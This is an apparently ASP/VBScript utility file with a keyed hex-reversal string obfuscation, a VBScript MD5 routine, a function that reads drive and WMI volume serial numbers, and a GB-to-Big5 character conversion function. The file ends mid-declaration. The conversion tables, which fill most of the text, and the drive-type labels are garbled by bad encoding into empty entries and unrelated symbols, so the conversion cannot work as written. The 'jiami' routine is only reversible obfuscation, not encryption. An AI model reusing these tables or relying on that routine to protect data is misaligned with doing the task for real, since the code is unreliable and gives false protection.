function gw_jiami(text) const key="iis7.com" dim str : str=key & text dim str1 dim str2 for i=1 to len(str) str2=hex(AscW(mid(str,i,1))) for j=1 to 4-len(str2) str2="0" & str2 next str1=str1 & str2 next gw_jiami=strreverse(str1) end function function gw_jiemi(text) const key="iis7.com" dim str : str=text dim str1 dim str2 : str2=strreverse(str) for i=1 to len(str2) step 4 str1=str1 & ChrW(cint("&H" & mid(str2,i,4))) next gw_jiemi=mid(str1,len(key)+1,len(str)-len(key)) end function Private Function LShift(lValue, iShiftBits) If iShiftBits = 0 Then LShift = lValue Exit Function ElseIf iShiftBits = 31 Then If lValue And 1 Then LShift = &H80000000 Else LShift = 0 End If Exit Function ElseIf iShiftBits < 0 Or iShiftBits > 31 Then Err.Raise 6 End If If (lValue And m_l2Power(31 - iShiftBits)) Then LShift = ((lValue And m_lOnBits(31 - (iShiftBits + 1))) * m_l2Power(iShiftBits)) Or &H80000000 Else LShift = ((lValue And m_lOnBits(31 - iShiftBits)) * m_l2Power(iShiftBits)) End If End Function Private Function RShift(lValue, iShiftBits) If iShiftBits = 0 Then RShift = lValue Exit Function ElseIf iShiftBits = 31 Then If lValue And &H80000000 Then RShift = 1 Else RShift = 0 End If Exit Function ElseIf iShiftBits < 0 Or iShiftBits > 31 Then Err.Raise 6 End If RShift = (lValue And &H7FFFFFFE) \ m_l2Power(iShiftBits) If (lValue And &H80000000) Then RShift = (RShift Or (&H40000000 \ m_l2Power(iShiftBits - 1))) End If End Function Private Function RotateLeft(lValue, iShiftBits) RotateLeft = LShift(lValue, iShiftBits) Or RShift(lValue, (32 - iShiftBits)) End Function Private Function AddUnsigned(lX, lY) Dim lX4 Dim lY4 Dim lX8 Dim lY8 Dim lResult lX8 = lX And &H80000000 lY8 = lY And &H80000000 lX4 = lX And &H40000000 lY4 = lY And &H40000000 lResult = (lX And &H3FFFFFFF) + (lY And &H3FFFFFFF) If lX4 And lY4 Then lResult = lResult Xor &H80000000 Xor lX8 Xor lY8 ElseIf lX4 Or lY4 Then If lResult And &H40000000 Then lResult = lResult Xor &HC0000000 Xor lX8 Xor lY8 Else lResult = lResult Xor &H40000000 Xor lX8 Xor lY8 End If Else lResult = lResult Xor lX8 Xor lY8 End If AddUnsigned = lResult End Function Private Function md5_F(x, y, z) md5_F = (x And y) Or ((Not x) And z) End Function Private Function md5_G(x, y, z) md5_G = (x And z) Or (y And (Not z)) End Function Private Function md5_H(x, y, z) md5_H = (x Xor y Xor z) End Function Private Function md5_I(x, y, z) md5_I = (y Xor (x Or (Not z))) End Function Private Sub md5_FF(a, b, c, d, x, s, ac) a = AddUnsigned(a, AddUnsigned(AddUnsigned(md5_F(b, c, d), x), ac)) a = RotateLeft(a, s) a = AddUnsigned(a, b) End Sub Private Sub md5_GG(a, b, c, d, x, s, ac) a = AddUnsigned(a, AddUnsigned(AddUnsigned(md5_G(b, c, d), x), ac)) a = RotateLeft(a, s) a = AddUnsigned(a, b) End Sub Private Sub md5_HH(a, b, c, d, x, s, ac) a = AddUnsigned(a, AddUnsigned(AddUnsigned(md5_H(b, c, d), x), ac)) a = RotateLeft(a, s) a = AddUnsigned(a, b) End Sub Private Sub md5_II(a, b, c, d, x, s, ac) a = AddUnsigned(a, AddUnsigned(AddUnsigned(md5_I(b, c, d), x), ac)) a = RotateLeft(a, s) a = AddUnsigned(a, b) End Sub Private Function ConvertToWordArray(sMessage) Dim lMessageLength Dim lNumberOfWords Dim lWordArray() Dim lBytePosition Dim lByteCount Dim lWordCount Const MODULUS_BITS = 512 Const CONGRUENT_BITS = 448 lMessageLength = Len(sMessage) lNumberOfWords = (((lMessageLength + ((MODULUS_BITS - CONGRUENT_BITS) \ BITS_TO_A_BYTE)) \ (MODULUS_BITS \ BITS_TO_A_BYTE)) + 1) * (MODULUS_BITS \ BITS_TO_A_WORD) ReDim lWordArray(lNumberOfWords - 1) lBytePosition = 0 lByteCount = 0 Do Until lByteCount >= lMessageLength lWordCount = lByteCount \ BYTES_TO_A_WORD lBytePosition = (lByteCount Mod BYTES_TO_A_WORD) * BITS_TO_A_BYTE lWordArray(lWordCount) = lWordArray(lWordCount) Or LShift(Asc(Mid(sMessage, lByteCount + 1, 1)), lBytePosition) lByteCount = lByteCount + 1 Loop lWordCount = lByteCount \ BYTES_TO_A_WORD lBytePosition = (lByteCount Mod BYTES_TO_A_WORD) * BITS_TO_A_BYTE lWordArray(lWordCount) = lWordArray(lWordCount) Or LShift(&H80, lBytePosition) lWordArray(lNumberOfWords - 2) = LShift(lMessageLength, 3) lWordArray(lNumberOfWords - 1) = RShift(lMessageLength, 29) ConvertToWordArray = lWordArray End Function Private Function WordToHex(lValue) Dim lByte Dim lCount For lCount = 0 To 3 lByte = RShift(lValue, lCount * BITS_TO_A_BYTE) And m_lOnBits(BITS_TO_A_BYTE - 1) WordToHex = WordToHex & Right("0" & Hex(lByte), 2) Next End Function Public Function MD5(sMessage) m_lOnBits(0) = CLng(1) m_lOnBits(1) = CLng(3) m_lOnBits(2) = CLng(7) m_lOnBits(3) = CLng(15) m_lOnBits(4) = CLng(31) m_lOnBits(5) = CLng(63) m_lOnBits(6) = CLng(127) m_lOnBits(7) = CLng(255) m_lOnBits(8) = CLng(511) m_lOnBits(9) = CLng(1023) m_lOnBits(10) = CLng(2047) m_lOnBits(11) = CLng(4095) m_lOnBits(12) = CLng(8191) m_lOnBits(13) = CLng(16383) m_lOnBits(14) = CLng(32767) m_lOnBits(15) = CLng(65535) m_lOnBits(16) = CLng(131071) m_lOnBits(17) = CLng(262143) m_lOnBits(18) = CLng(524287) m_lOnBits(19) = CLng(1048575) m_lOnBits(20) = CLng(2097151) m_lOnBits(21) = CLng(4194303) m_lOnBits(22) = CLng(8388607) m_lOnBits(23) = CLng(16777215) m_lOnBits(24) = CLng(33554431) m_lOnBits(25) = CLng(67108863) m_lOnBits(26) = CLng(134217727) m_lOnBits(27) = CLng(268435455) m_lOnBits(28) = CLng(536870911) m_lOnBits(29) = CLng(1073741823) m_lOnBits(30) = CLng(2147483647) m_l2Power(0) = CLng(1) m_l2Power(1) = CLng(2) m_l2Power(2) = CLng(4) m_l2Power(3) = CLng(8) m_l2Power(4) = CLng(16) m_l2Power(5) = CLng(32) m_l2Power(6) = CLng(64) m_l2Power(7) = CLng(128) m_l2Power(8) = CLng(256) m_l2Power(9) = CLng(512) m_l2Power(10) = CLng(1024) m_l2Power(11) = CLng(2048) m_l2Power(12) = CLng(4096) m_l2Power(13) = CLng(8192) m_l2Power(14) = CLng(16384) m_l2Power(15) = CLng(32768) m_l2Power(16) = CLng(65536) m_l2Power(17) = CLng(131072) m_l2Power(18) = CLng(262144) m_l2Power(19) = CLng(524288) m_l2Power(20) = CLng(1048576) m_l2Power(21) = CLng(2097152) m_l2Power(22) = CLng(4194304) m_l2Power(23) = CLng(8388608) m_l2Power(24) = CLng(16777216) m_l2Power(25) = CLng(33554432) m_l2Power(26) = CLng(67108864) m_l2Power(27) = CLng(134217728) m_l2Power(28) = CLng(268435456) m_l2Power(29) = CLng(536870912) m_l2Power(30) = CLng(1073741824) Dim x Dim k Dim AA Dim BB Dim CC Dim DD Dim a Dim b Dim c Dim d Const S11 = 7 Const S12 = 12 Const S13 = 17 Const S14 = 22 Const S21 = 5 Const S22 = 9 Const S23 = 14 Const S24 = 20 Const S31 = 4 Const S32 = 11 Const S33 = 16 Const S34 = 23 Const S41 = 6 Const S42 = 10 Const S43 = 15 Const S44 = 21 x = ConvertToWordArray(sMessage) a = &H67452301 b = &HEFCDAB89 c = &H98BADCFE d = &H10325476 For k = 0 To UBound(x) Step 16 AA = a BB = b CC = c DD = d md5_FF a, b, c, d, x(k + 0), S11, &HD76AA478 md5_FF d, a, b, c, x(k + 1), S12, &HE8C7B756 md5_FF c, d, a, b, x(k + 2), S13, &H242070DB md5_FF b, c, d, a, x(k + 3), S14, &HC1BDCEEE md5_FF a, b, c, d, x(k + 4), S11, &HF57C0FAF md5_FF d, a, b, c, x(k + 5), S12, &H4787C62A md5_FF c, d, a, b, x(k + 6), S13, &HA8304613 md5_FF b, c, d, a, x(k + 7), S14, &HFD469501 md5_FF a, b, c, d, x(k + 8), S11, &H698098D8 md5_FF d, a, b, c, x(k + 9), S12, &H8B44F7AF md5_FF c, d, a, b, x(k + 10), S13, &HFFFF5BB1 md5_FF b, c, d, a, x(k + 11), S14, &H895CD7BE md5_FF a, b, c, d, x(k + 12), S11, &H6B901122 md5_FF d, a, b, c, x(k + 13), S12, &HFD987193 md5_FF c, d, a, b, x(k + 14), S13, &HA679438E md5_FF b, c, d, a, x(k + 15), S14, &H49B40821 md5_GG a, b, c, d, x(k + 1), S21, &HF61E2562 md5_GG d, a, b, c, x(k + 6), S22, &HC040B340 md5_GG c, d, a, b, x(k + 11), S23, &H265E5A51 md5_GG b, c, d, a, x(k + 0), S24, &HE9B6C7AA md5_GG a, b, c, d, x(k + 5), S21, &HD62F105D md5_GG d, a, b, c, x(k + 10), S22, &H2441453 md5_GG c, d, a, b, x(k + 15), S23, &HD8A1E681 md5_GG b, c, d, a, x(k + 4), S24, &HE7D3FBC8 md5_GG a, b, c, d, x(k + 9), S21, &H21E1CDE6 md5_GG d, a, b, c, x(k + 14), S22, &HC33707D6 md5_GG c, d, a, b, x(k + 3), S23, &HF4D50D87 md5_GG b, c, d, a, x(k + 8), S24, &H455A14ED md5_GG a, b, c, d, x(k + 13), S21, &HA9E3E905 md5_GG d, a, b, c, x(k + 2), S22, &HFCEFA3F8 md5_GG c, d, a, b, x(k + 7), S23, &H676F02D9 md5_GG b, c, d, a, x(k + 12), S24, &H8D2A4C8A md5_HH a, b, c, d, x(k + 5), S31, &HFFFA3942 md5_HH d, a, b, c, x(k + 8), S32, &H8771F681 md5_HH c, d, a, b, x(k + 11), S33, &H6D9D6122 md5_HH b, c, d, a, x(k + 14), S34, &HFDE5380C md5_HH a, b, c, d, x(k + 1), S31, &HA4BEEA44 md5_HH d, a, b, c, x(k + 4), S32, &H4BDECFA9 md5_HH c, d, a, b, x(k + 7), S33, &HF6BB4B60 md5_HH b, c, d, a, x(k + 10), S34, &HBEBFBC70 md5_HH a, b, c, d, x(k + 13), S31, &H289B7EC6 md5_HH d, a, b, c, x(k + 0), S32, &HEAA127FA md5_HH c, d, a, b, x(k + 3), S33, &HD4EF3085 md5_HH b, c, d, a, x(k + 6), S34, &H4881D05 md5_HH a, b, c, d, x(k + 9), S31, &HD9D4D039 md5_HH d, a, b, c, x(k + 12), S32, &HE6DB99E5 md5_HH c, d, a, b, x(k + 15), S33, &H1FA27CF8 md5_HH b, c, d, a, x(k + 2), S34, &HC4AC5665 md5_II a, b, c, d, x(k + 0), S41, &HF4292244 md5_II d, a, b, c, x(k + 7), S42, &H432AFF97 md5_II c, d, a, b, x(k + 14), S43, &HAB9423A7 md5_II b, c, d, a, x(k + 5), S44, &HFC93A039 md5_II a, b, c, d, x(k + 12), S41, &H655B59C3 md5_II d, a, b, c, x(k + 3), S42, &H8F0CCC92 md5_II c, d, a, b, x(k + 10), S43, &HFFEFF47D md5_II b, c, d, a, x(k + 1), S44, &H85845DD1 md5_II a, b, c, d, x(k + 8), S41, &H6FA87E4F md5_II d, a, b, c, x(k + 15), S42, &HFE2CE6E0 md5_II c, d, a, b, x(k + 6), S43, &HA3014314 md5_II b, c, d, a, x(k + 13), S44, &H4E0811A1 md5_II a, b, c, d, x(k + 4), S41, &HF7537E82 md5_II d, a, b, c, x(k + 11), S42, &HBD3AF235 md5_II c, d, a, b, x(k + 2), S43, &H2AD7D2BB md5_II b, c, d, a, x(k + 9), S44, &HEB86D391 a = AddUnsigned(a, AA) b = AddUnsigned(b, BB) c = AddUnsigned(c, CC) d = AddUnsigned(d, DD) Next MD5=LCase(WordToHex(b) & WordToHex(c)) End Function Function ShowDriveInfo(drvpath) Dim fs, d, s, t Set fs = CreateObject("Scripting.FileSystemObject") Set d = fs.GetDrive(fs.GetDriveName(fs.GetAbsolutePathName(drvpath))) Select Case d.DriveType Case 0: t = "δ֪" Case 1: t = "ƶ" Case 2: t = "̶" Case 3: t = "" Case 4: t = "CD-ROM" Case 5: t = "RAM " End Select s = d.SerialNumber if s<>"" then On Error Resume Next Set objSWbemLocator = CreateObject("WbemScripting.SWbemLocator") Set objSWbemService = objSWbemLocator.ConnectServer () if Err = 0 Then Set objDisk = objSWbemService.Get ("Win32_LogicalDisk") Set objPath = objDisk.Path_objDisk.Security_.ImpersonationLevel = 3 Set objcolDisks = objDisk.Instances_ chuanmaxzi="" for each DiskInstance in objcolDisks chuanmaxzi=chuanmaxzi&DiskInstance.VolumeSerialNumber Next Else end if s=chuanmaxzi&s end if ShowDriveInfo=s End Function function GbToBig(content) dim s,t,c,d,i s=",,,ר,ҵ,,,˿,,,,ɥ,,,,,Ϊ,,,ô,,,,,ϰ,,,,,,,,,ب,,,Ķ,,,,,,,,,,,,,,,,,ɡ,ΰ,,,,,,α,,,,Ӷ,,,,,,,,,٭,ٯ,ٶ,ٱ,ٲ,,ٳ,,ծ,,,,,,,,,,,,,,,,,,,,,,,,д,,ũ,ڣ,,,,,,,,,,,,,,,,ƾ,,,,,ۻ,,,,,,ɾ,,i,,,,,,,,,,Ȱ,,,۽,,,,,,ѫ,,,,,,,ҽ,,Э,,,¬,±,,,ȴ,,,,,,ѹ,,,,,,,,,,,,,,,˫,,,,,Ҷ,,̾,ߴ,,,,,,,,,,,߼,߽,Ż,߿,,Ա,,Ǻ,,ӽ,,,,,,,,,,,,,,,,,,,Ӵ,,y,,|,,,,,,,,,,,Х,,,,,,,,,,,,,,,԰,,Χ,,,ͼ,Բ,ʥ,,,,,,,̳,,,,,׹,¢,,,,,,,,,,,,,,,,,,ǵ,,G,ܫ,ǽ,׳,,,,,,,,,ͷ,,,,,ۼ,,,,ױ,,,,,,,,¦,,,,,,,,O,Ӥ,,,,,,,,,ѧ,,,,ʵ,,,,,,,,,Ѱ,,,,,,,Ң,,ʬ,,,,,,,,,,,,,,,,,,,,,,N,,Ͽ,i,,,,,,,ո,,,,,,,,,,˧,ʦ,,,,,,֡,,,,,,,,,,,ׯ,,®,,,Ӧ,,,,,,,,,,,,,,ǿ,,,¼,,,,,,,,,,,,̬,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,Ը,,\,,,,,,,Ϸ,,ս,,,,,Ǥ,ִ,,,ɨ,,,,,,,,,,,,,£,,ӵ,,š,,,,ֿ,,,,̢,Ю,,,,,,,,,,,,,,,°,,,,,,,,,,,§,,Я,,,,ҡ,,̯,,,,ߢ,ߣ,ߥ,,,,,,ի,,,ն,,,,ʱ,,D,,,o,,,ɹ,,,,,,,,,,,ɱ,,Ȩ,,,,,,,,,,,,,,ǹ,,,,,,,դ,,ջ,,,,,,,,,,,,,,,,,,,,,׮,,,,,,,,,,,¥,,,,,,,,,,,ӣ,,,,,,,,,ŷ,,,,,,,,,Ź,,,,,ձ,,,,,,,,,,,,,,û,,Ž,,,,h,,,m,Ţ,,,,,,к,,,,,,,,dz,,,,,,,,,,,,,Ũ,,,Ϳ,ӿ,,,,,,,,,,,,,ɬ,,Ԩ,,,,,,,,,,,,ʪ,,,,,,,,,,,,,,,,̲,,,,,,Ϋ,DZ,,,,,,,,,,,,¯,,,,,,,˸,,,,,,,,,,,,,,,,,,,,ү,,,ǣ,,,,,״,,,,,,A,,,,ʨ,,,,,,,,,,è,,,̡,,_,`,,,,,o,,,,,,,,Q,,,,,,,,,,,,,,,,,,ű,,,,,,,,Ӹ,,,,,,,,,},,,,̱,,,,Ѣ,,,,,,յ,,,,,,,,,,,,,,,,,,,,,ש,,,,,,,,n,,˶,,,},~,ȷ,,,,,,,,,t,,,,,,»,,,ͺ,,,,,,,,˰,,,,,,,Ҥ,,,,,,,,,,,,,,,,,ɸ,Y,,,ǩ,,,,,,,,,,¨,,,,,,,,,,,,,,,,,,,,,,,,Լ,,,,,,γ,,,,,ɴ,,,,,,,ֽ,,,,,Ŧ,,,,,,,,,ϸ,֯,,,,,,,,,,,,,,,,,,,Ѥ,,,,,ͳ,,,,,,,,,,,,,,,,,,,,,ά,,,,,,,,,,,,׺,,,,,,,,,,,,,,,,,,,,,,,,Ե,,,,,,,,,,,,,,,,ӧ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,ְ,,,,,,,,,,,,в,,ʤ,,,,,,,,,,,ŧ,,,,,,,,N,,,,,,,H,,,,,,,,ܳ,,,,ܼ,,«,,έ,,,,,,,,ƻ,,,,,,,,,Q,,,,,,,,,,,,ӫ,ݡ,ݣ,ݥ,,ݤ,ݦ,ݧ,ҩ,ݰ,ݯ,,,ݪ,ݫ,ݲ,,ݵ,Ө,ݺ,ݻ,[,,ө,Ӫ,,,,,,,,,,,,,,,Ǿ,,,,ޭ,,޴,޻,޺,²,,,,,,,Ϻ,,ʴ,,,,,,,,,,,,,,,,,,Ӭ,,,Ы,,,΅,,],,,,,,,,Є,,Ϯ,B,װ,,T,,,,,,,,[,,,_,,,,,,,,,,`,,,,,,,,Ԁ,,,ڥ,,,,,,ڦ,ڧ,,,ڨ,,ѵ,,Ѷ,,ך,,,ک,ڪ,,ګ,,,,כ,,,,,,֤,ڬ,ڭ,,,ʶ,ל,թ,,,ڮ,,,ڰ,گ,ם,,ڱ,ڲ,ڳ,,ڴ,ʫ,ڵ,ڶ,,,ڷ,,,ڸ,ڹ,,ѯ,,ں,,,,ڻ,ڼ,מ,,,,ڽ,,ھ,,,ڿ,˵,,,,,,ŵ,,,,,,,˭,,,,,׻,,̸,,ı,,,,,г,,,ν,,,,,,,,,,,נ,,,,л,ҥ,,,ǫ,,,á,,,,̷,,,,,,,Ǵ,,,,k,,,,O,,,,,,,,,,̰,ƶ,,,,,,,,,,,,,ó,,,,,,,,,,¸,,,,,,,,,,,,,,,P,Q,,,,,R,׸,,׬,,,,,S,,,Ӯ,,W,,,,,,Ծ,,,,,Q,,,,,ӻ,,,,,,,,,,,,,,,,a,,ת,,,,,,,,,,,,,,,,,,,,b,,,,,,,,,,,,c,,,,,,d,,,ԯ,Ͻ,շ,,,,,,,,,,Ǩ,,,,,,,Զ,Υ,,,,,,,ѡ,ѷ,,,,,ң,,,,,,,,,ۧ,ۣ,ۦ,֣,۩,۪,,,,N,,,,,,,,,,,,,,,,,,,ǥ,,,,,,,,,,,,,,,,,,,,,,Կ,,,,,,,,,ť,,,Ǯ,,ǯ,,,,,,,,,,,,,,,,,,Ǧ,í,,,,,,,,,,,,,,,,,,,,,ͭ,,,,,ա,,ϳ,,,,,,,,,,,,,,ҿ,,,,,,,,,,,,,,,,,,,,,,,,,,,п,,,,,,,,,,,,,,ê,,,,,,,,,,,׶,,@,,,,,,,,,,,,A,,,,,,,,,,B,,,,þ,,C,,,,,D,,,E,,,,,,,,,,F,,,,,G,,,,,,H,,,,,,,,,,,,,,I,,,,,,J,K,,,,,,,\,,,,,,,,,,,,բ,,,,,,,],,,,,,,,^,,,,,,,,,,,,_,,,,,`,,,a,,,,,,,½,¤,,,,,,,,,,,,,,,,,ù,,,,,,,,,Τ,,,,,,,,ҳ,,,,,˳,,,,,,,,,,Ԥ,­,,,,,,F,,,G,,,Ƶ,H,,,I,ӱ,,,J,,,,,,,,,,K,,,,ȧ,,r,s,,,,t,,u,v,Ʈ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@,,A,,,,,,,,,Ԧ,,ѱ,,,R,,¿,,ʻ,,,,,פ,,,,,,,,S,,,,,,T,,,,U,V,,,,,,W,X,,ƭ,,Y,ɧ,,,,,,,,,,,,Z,,,,,,,,,,,,,³,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@,,,,,,\,Ÿ,ѻ,],,,,,,Ѽ,^,,_,,,ԧ,`,,,,,,,a,b,,,,c,,,,,,,,,,ȵ,,,d,,,e,,f,g,h,,i,,,j,,,,k,,l,m,n,o,,,p,,,,,,,,,r,ӥ,,s,,t,,,,,,d,,,,,,,ػ,,,,,,,,,,,,,,,,,ȣ,,,,," t="f,c,h,,I,,|,z,G,,,,,,S,R,,,e,N,x,,,,,l,,I,y,,,̝,,,,a,,H,C,,|,H,,,},x,,r,,,,,,,,,,t,,,,,w,N,,L,b,H,e,,,S,~,,z,R,,,z,,,,A,,E,f,,,,,,,,,h,m,P,d,Ɲ,B,F,,,,,,܊,r,V,T,_,Q,r,,Q,D,,R,p,,C,,P,D,{,P,,,,c,,,t,,,h,e,},q,,,,,,,,,,k,,,,,,,,,,,,Q,T,^,t,A,f,,u,R,u,P,l,s,,S,d,,,,,,,,,B,N,,P,h,,,a,^,p,l,׃,,B,~,̖,U,\,n,,,,,w,, ,,,`,,I,,h,T,J,,,ԁ,U,,,z,߸,j,y,,,,},^,,,W,,,,,O,,Z,,,r,,,K,,,m,,c,[,,D,,,,,u,,,,,,o,F,@,,,,,D,A,},,,,,K,,,,,],,,,,,,,s,,|,,,,N,,P,_,,|,,q,,,ԭ,,,•,,,,̎,,},,^,F,A,Z,Y,J,^,,W,y,D,,,,,,K,,I,,,D,,z,,,,,,,,,,,O,W,\,,,,,,,m,,e,,,,,,,,m,L,,,,M,,,,,,,,Z,q,M,,,s,S,,u,X,[,,h,G,F,{,A,,,n,,,M,,V,,,,,p,,,,,,,,,,,,,,,,,L,,K,ô,V,f,c,],T,,,R,,U,F,[,_,,,,,,,,,w,,,,,,,,R,,,n,,,B,Z,,Y,,,z,,,,,,,Q,,,,,,,,,a,,@,,K,,v,,M,,T,,C,,|,,,,,,,,,,,,,,,,,L,,U,,,P,_,,,,,,,o,,,M,n,,,r,Q,,,,,,,,,,,,,,D,],,,p,,Q,v,,,,,S,,,,,,,v,R,,,y,z,d,[,u,P,,t,,f,X,],x,\,,,,,S,,Y,,,o,f,r,,,,,,@,x,,,,,,,,,g,,C,,s,,l,,,q,,O,,,,,,g,,,,n,,,f,d,,,,,,,,,,,,,,,,,E,n,,,,u,,,,,,z,,,,,,E,,,,,,x,,,,M,{,,,,,,,_,g,e,W,,{,,,,,,,,,ݞ,,,,,,,,,,,h,@,,,e,,],,a,r,S,,t,,,,,I,,{,o,T,a,,,,,,D,,\,{,,,,,y,,,g,I,,G,,,,T,,,,Z,i,,u,,o,,,,q,,,Y,O,n,^,u,,O,c,B,,[,,,,R,s,U,,L,,,,M,],V,E,,I,,,E,u,t,,H,,z,,|,l,,,,`,,N,,t,,,,c,,,q,,N,T,,,,,Z,C,a,,,F,c,,,,,,,,,,,,,Ȯ,,E,w,q,N,,,,,M,{,,b,z,s,,C,J,M,i,؈,o,I,H,^,m,,,|,h,F,,t,z,k,m,,c,q,\,I,,,,a,v,,,Y,T,,,,,,X,,,O,,,,,,,b,d,W,{,A,,B,V,D,,,,T,c,a,`,],_,d,ğ,},,,K,},O,w,I,P,g,{,,,,A,,m,,C,,\,V,X,a,u,,,^,Z,a,[,A,,,T,,,o,,_,|,K,,~,A,,L,Y,B,[,,\,,A,,U,x,d,,N,e,Q,x,v,,,d,,w,F,`,[,G,Z,C,Q,],M,Q,,V,S,P,a,{,\,e,B,`,Y,,~,I,,,U,j,D,X,j,,,,t,@,h,f,[,e,,i,g,c,,S,Z,R,f,o,{,,m,u,t,q,w,v,s,,w,k,o,x,,,,,,,V,{,,v,],,,y,,,,~,,,C,X,,,M,,,,K,U,O,E,I,B,[,,H,,q,Y,f,@,x,W,L,o,k,{,j,^,g,y,,,,C,,,d,^,,,w,c,x,m,_,p,b,y,i,K,S,d,R,,I,T,^,J,C,`,U,G,Y,l,~,|,},,|,,,,Z,D,,E,,,,,P,,,|,,,,N,`,d,b,p,\,c,p,r,O,V,_,~,z,w,t,s,,,i,,,,\,`,R,Q,U,y,,W,_,P,T,`,b,u,w,N,P,E,g,e,–,u,™,@,š,œ,“,˜,”,C,c,w,d,I,[,Û,{,đ,,V,L,F,Ä,z,},Ē,v,Ě,X,ē,L,_,Ó,T,Ę,D,Z,s,|,ā,t,e,v,Ĝ,N,ݛ,Ŝ,Ş,œ,A,D,W,H,ˇ,,d,G,ʏ,J,ɐ,Ȕ,˞,{,O,n,r,K,,O,o,d,\,L,,O,G,],R,v,ʁ,ɜ,w,C,j,ʎ,s,ȝ,,,,n,|,p,a,{,ȇ,Ȓ,ˎ,W,ɉ,R,ɏ,P,n,W,@,~,,L,ɔ,E,},Ξ,I,M,ʒ,_,[,r,ʉ,Y,V,{,E,y,ʚ,v,,N,`,A,@,I,N,˒,,\,̔,],̓,x,A,l,m,r,ϊ,g,ρ,Λ,Q,ϖ,͘,M,Ϡ,|,U,U,͐,u,·,ϓ,͑,΁,Ϟ,ω,X,s,ϐ,N,ϔ,Q,\,D,,,a,r,Ж,\,,ы,m,u,U,b,d,т,ў,c,ѝ,M,@,h,,w,Ҋ,^,ҍ,Ҏ,Ғ,ҕ,җ,[,X,J,Ҡ,],C,D,M,P,U,x,|,z,ׄ,u,`,Ӆ,Ӌ,ӆ,Ӈ,J,I,ӓ,ӏ,ӑ,׌,Ә,ә,Ӗ,h,Ӎ,ӛ,ӕ,v,M,֎,n,Ӡ,G,S,Ӟ,Փ,K,A,S,O,L,E,C,b,X,u,{,R,w,p,V,\,g,a,~,x,t,v,g,r,E,C,ԇ,ԟ,Ԋ,ԑ,Ԝ,\,D,Ԗ,Ԓ,Q,ԍ,ԏ,Ԏ,ԃ,Ԅ,Պ,ԓ,Ԕ,Ԍ,՟,Ԃ,p,],_,Z,V,`,a,T,d,N,f,b,O,Ո,T,Ռ,Z,x,Վ,u,n,Ն,՘,l,Ք,{,~,Տ,Ձ,r,Մ,x,\,R,ՙ,e,G,C,o,],^,@,I,X,׋,J,O,V,B,i,՛,՚,փ,ו,q,x,{,r,՞,t,k,֔,֙,ֆ,v,և,T,P,S,׎,V,H,ח,l,d,׏,Y,r,ؐ,ؑ,ؓ,ؒ,ؕ,ؔ,؟,t,,~,؛,|,؜,؝,ؚ,H,ُ,A,؞,E,v,S,B,N,F,L,J,Q,M,R,O,\,ٗ,Z,V,D,U,T,E,Y,W,B,g,c,l,d,x,ـ,V,H,p,n,F,k,s,r,y,ه,و,٘,َ,ٍ,ِ,ّ,I,ٝ,ٚ,ٛ,٠,A,M,X,w,s,څ,ڎ,O,S,ۄ,ە,V,`,J,E,ۋ,],Q,x,P,ۙ,W,U,b,ۘ,X,f,k,g,|,܇,܈,܉,܎,܍,ܐ,D,ܗ,݆,ܛ,Z,M,V,_,S,T,W,ܠ,F,],U,p,Y,d,e,I,c,b,`,^,m,o,v,݂,݅,x,݁,y,݈,z,w,ݏ,ݗ,݋,ݜ,ݔ,\,@,ݠ,ݚ,A,H,O,o,q,p,߅,|,_,w,^,~,\,߀,@,M,h,`,B,t,߃,ޟ,E,m,x,d,f,ߊ,߉,z,b,,,w,],u,,,d,S,P,,,i,B,y,,j,w,u,,,,,Y,,b,,Y,,,,,,,,Q,T,A,,l,C,,{,S,,O,],},b,,g,n,R,c,^,,k,j,,J,x,u,^,,[,,^,o,Z,,X,`,Q,,,,O,,,X,,f,g,,,,F,K,,p,U,T,,C,B,G,,,I,o,D,,s,,E,B,,e,y,t,,K,~,X,H,,z,,,,b,A,,f,,|,x,,t,,P,C,q,,P,|,|,@,y,,T,,,o,n,,,H,N,i,,{,z,,,~,n,S,s,h,\,,,,J,R,Z,u,|,H,,N,,e,^,Q,W,u,,K,_,a,d,,N,F,\,e,v,,x,,U,V,I,,i,O,,},|,I,J,,,@,R,,},,D,X,,V,U,t,,[,,,n,k,,,,,,y,,^,,,\,g,S,M,N,,a,O,R,C,,,B,,,,h,u,,|,,,j,,Z,D,G,C,,O,d,s,n,,,L,T,V,W,Z,\,],,J,c,,e,b,g,h,`,,l,[,|,„,Y,},,G,y,w,u,,b,,,A,,,,],,,,,U,@,,T,,,H,D,F,I,R,X,,,,,A,H,,],,,,,E,U,S,[,`,h,y,r,ׇ,Z,F,V,q,\,n,o,v,^,X,d,x,f,g,h,n,t,y,w,,,,,,,,,,B,,D,,C,,@,A,B,I,H,i,R,a,c,M,},,W,U,l,_,j,h,e,f,w,},,,,,~,D,,,,,h,,,A,E,L,^,Q,R,S,Z,\,`,_,d,h,j,j,w,,,},,,h,,q,,,,,,T,,,,,,D,,A,,E,,F,,G,L,I,N,H,K,R,Q,W,^,l,,k,t,,v,x,o,s,},~,z,,,,R,S,W,Z,Y,,_,g,H,z,,,,x,|,v,,w,{,A,~,,R,,,,,,,Q,P,G,,H,,E,U,T,S,K,R,,,_,s,j,},\,,t,q,~,,,,,E,K,L,J,t,y,x,W,|,u,~,,,,,,,,E,G,T,|,O,W,V,N,U,c,Q,T,q,^,w,n,b,j,f,`,d,q,o,r,~,,\,,~,,,,,,,,,z,a,,,N,,O,E,H,K,A,F,T,,L,Y,X,,a,l,s,l,[,,g,w,{,q,v,m,e,F,c,,,,,,,,,,B,L,M,,,I,@,Z,X,[,V,s,h,k,g,B,F,u,S,Q,O,t,f,I,d,c,,,R,,{,,o,|,z,x,,r,,v,,,,,@,,[,,M,P,Z,N,],Z,O,,Y,^,o,,g,A,l,i,k,,,t,,,,,X,,\,B,F,g,_,O,V,W,^,Y,Q,s,W,p,w,,,,,,D,,I,L,X,U,z,,,S,Z,s,t,o,w,x,{,,,B,O,R,W,X,Z,[,],e,g,_,f,b,l,r,p,x,},,,," c=split(s,",") d=split(t,",") for i=0 to 2555 content=replace(content,c(i),d(i)) next GbToBig=content end function function cGbToBig(content) 